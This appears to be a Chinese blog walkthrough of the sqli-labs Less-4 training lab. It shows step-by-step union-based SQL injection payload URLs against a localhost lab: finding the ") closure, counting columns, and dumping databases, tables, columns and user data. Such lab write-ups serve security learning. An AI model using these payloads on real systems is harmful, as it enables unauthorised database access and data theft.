sqli-labs less4

一、输入id,显示正常

http://127.0.0.1/sqli-labs-master/Less-4/?id=1

在这里插入图片描述
二、判断是闭合方式(因为题目说明了字符注入,则省略判断数字型步骤)
1.输入单引号,页面正常

http://127.0.0.1/sqli-labs-master/Less-4/?id=1'

2.输入双引号,页面报错

http://127.0.0.1/sqli-labs-master/Less-4/?id=1"

3.由于双引号报错,则在双引号后添加注释符,页面报错

http://127.0.0.1/sqli-labs-master/Less-4/?id=1"--+

4.由于3报错,尝试添加括号,页面正常,则闭合方式为 ")

http://127.0.0.1/sqli-labs-master/Less-4/?id=1")--+

三、判断字段数,字段数为3,页面显示正常

http://127.0.0.1/sqli-labs-master/Less-4/?id=1") order by 3--+

在这里插入图片描述
四、判断显示位

http://127.0.0.1/sqli-labs-master/Less-4/?id=-1") union select 1,2,3--+

在这里插入图片描述
五、爆所有数据库

http://127.0.0.1/sqli-labs-master/Less-4/?id=-1") union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+

在这里插入图片描述
六、爆指定数据库(security)的所有表

http://127.0.0.1/sqli-labs-master/Less-4/?id=-1") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+

在这里插入图片描述
七、爆指定表(users)的所有列

http://127.0.0.1/sqli-labs-master/Less-4/?id=-1") union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+

在这里插入图片描述
八、爆指定列(id)的所有数据

http://127.0.0.1/sqli-labs-master/Less-4/?id=-1") union select 1,(select group_concat(id) from users),3--+

在这里插入图片描述
over~

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值